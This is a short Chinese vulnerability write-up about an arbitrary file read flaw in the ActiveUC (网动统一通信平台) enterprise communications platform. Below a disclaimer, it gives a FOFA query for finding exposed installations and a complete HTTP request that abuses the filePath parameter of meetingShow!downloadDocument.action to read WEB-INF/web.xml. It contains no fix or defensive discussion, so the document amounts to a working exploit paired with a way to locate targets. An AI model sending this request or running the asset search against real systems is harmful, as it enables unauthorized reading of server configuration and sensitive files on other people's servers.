声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

网动统一通信平台（ActiveUC）是一个企业级的统一通信解决方案，旨在将多种沟通方式融合到一个统一的通信界面中。它包括VoIP电话系统、电子邮件、即时消息、视频会议和其他协作工具，以提供一种集成的通信和协作环境。

网动统一通信平台存在任意文件读取漏洞。 

资产搜索

fofa

title="网动统一通信平台(Active UC)"

漏洞复现

GET /acenter/meetingShow!downloadDocument.action?filePath=WEB-INF/web.xml&filename=xxx HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close